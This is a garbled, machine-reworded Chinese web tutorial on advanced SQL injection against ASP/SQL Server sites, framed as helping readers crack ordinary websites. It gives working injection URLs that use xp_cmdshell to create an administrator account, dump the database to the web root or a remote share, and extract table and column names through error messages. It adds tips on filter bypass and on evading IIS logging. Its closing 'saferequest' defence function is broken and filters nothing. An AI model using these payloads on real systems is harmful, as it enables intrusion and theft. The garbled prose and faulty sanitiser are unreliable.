大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 基础知识 -> ASP漏洞全接触-高级篇

ASP漏洞全接触-高级篇

时间: 2021-07-31 作者:daque

看完初学篇和进阶篇后,稍加熟习,破译普遍的网站是没题目了。但即使碰到表名列名猜不到,或步调作家过滤了少许特出字符,如何普及注入的胜利率?如何样普及猜解功效?请大师接着往下看高档篇。    第一节、运用体例表注入sqlserver数据库   sqlserver是一个功效宏大的数据库体例,与操纵体例也有精细的接洽,这给开拓者带来了很大的简单,但另一上面,也为注入者供给了一个跳板,咱们先来看看几个简直的例子:    ①http://site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--    分号;在sqlserver中表白隔绝前后两句语句,--表白反面的语句为解释,以是,这句语句在sqlserver中将被分红两句实行,先是select出id=1的记载,而后实行保存进程xp_cmdshell,这个保存进程用来挪用体例吩咐,所以,用net吩咐兴建了用户名为name、暗号为password的windows的帐号,接着:    ②http://site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--    将兴建的帐号name介入处置员组,不必两秒钟,你仍旧拿到了体例最高权力!固然,这种本领只实用于用sa贯穿数据库的情景,要不,是没有权力挪用xp_cmdshell的。    ③http://site/url.asp?id=1 ;;and db_name()>0    前方有个一致的例子and user>0,效率是获得贯穿用户名,db_name()是另一个体例变量,归来的是贯穿的数据库名。    ④http://site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--    这是十分狠的一招,从③拿到的数据库名,加上某些iis堕落表露出的一致路途,将数据库备份到web目次底下,再用http把所有数据库就完完备整的载入回顾,一切的处置员及用户暗号都一览无遗!在不领会一致路途的功夫,还不妨备份到搜集地方的本领(如\\202.96.xx.xx\share\1.db),但胜利率不高。    ⑤http://site/url.asp?id=1 ;;and (select top 1 name from sysobjects where xtype=’u’ and status>0)>0    前方说过,sysobjects是sqlserver的体例表,保存着一切的表名、视图、牵制及其它东西,xtype=’u’ and status>0,表白用户创造的表名,上头的语句将第一个表名掏出,与0比拟巨细,让报错消息把表名表露出来。第二、第三个表名如何获得?仍旧留给咱们聪慧的读者群推敲吧。    ⑥http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0    从⑤拿到表名后,用object_id(‘表名’)获得表名对应的里面id,col_name(表名id,1)代办该表的第1个字段名,将1换成2,3,4...就不妨逐一获得所猜解表内里的字段名。    之上6点是我接洽sqlserver注入半年多此后的血汗结晶,不妨看出,对sqlserver的领会水平,径直感化着胜利率及猜解速率。在我接洽sqlserver注入之后,我在开拓上面的程度也获得很大的普及,呵呵,大概安定与开拓从来即是相得益彰的吧。    第二节、绕过步调控制连接注入    在初学篇提到,有很多人爱好用’号尝试注入缺点,以是也有很多人用过滤’号的本领来“提防”注入缺点,这大概能挡住少许初学者的报复,但对sql注入比拟熟习的人,仍旧不妨运用关系的因变量,到达绕过步调控制的手段。    在“sql注入的普遍办法”一节中,我所用的语句,都是过程我优化,让其不包括有单引号的;在“运用体例表注入sqlserver数据库”中,有些语句包括有’号,咱们举个例子来看看如何变革那些语句:    大略的如where xtype=’u’,字符u对应的ascii码是85,以是不妨用where xtype=char(85)包办;即使字符是华文的,比方where name=’用户’,不妨用where name=nchar(29992)+nchar(25143)包办。    第三节、体味总结    1.有些人会过滤select、update、delete那些要害字,但偏巧忘怀辨别巨细写,以是大师不妨用select如许试验一下。    2.在猜不到字段名时,无妨看看网站上的登录表单,普遍为了简单起见,字段名都与表单的输出框取沟通的名字。    3.更加提防:地方栏的+号传入步调后证明为空格,%2b证明为+号,%25证明为%号,简直不妨参考urlencode的关系引见。    4.用get本领注时髦,iis会记载你一切的提交字符串,对post本领做则不记载,以是能用post的网址尽管不必get。    5.猜解access时只能用ascii逐字解码法,sqlserver也不妨用这种本领,只须要两者之间的辨别即可,然而即使能用sqlserver的报错消息把值表露出来,那功效和精确率会有极大的普及。    sql注入缺点堪称是“千里之堤,溃于蚁穴”,这种缺点在网上极为一致,常常是因为步调员对注入不领会,大概步调过滤不庄重,大概某个参数忘怀查看引导。在这边,我给大师一个因变量,包办asp中的request因变量,不妨对十足的sql注入say no,因变量如次:    function saferequest(paraname,paratype)    --- 传入参数 ---    paraname:参数称呼-字符型    paratype:参数典型-数字型(1表白之上参数是数字,0表白之上参数为字符)    dim paravalue    paravalue=request(paraname)    if paratype=1 then    if not isnumeric(paravalue) then    response.write "参数" & paraname & "必需为数字型!"    response.end    end if    else    paravalue=replace(paravalue,"","")    end if    saferequest=paravalue    end function 

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.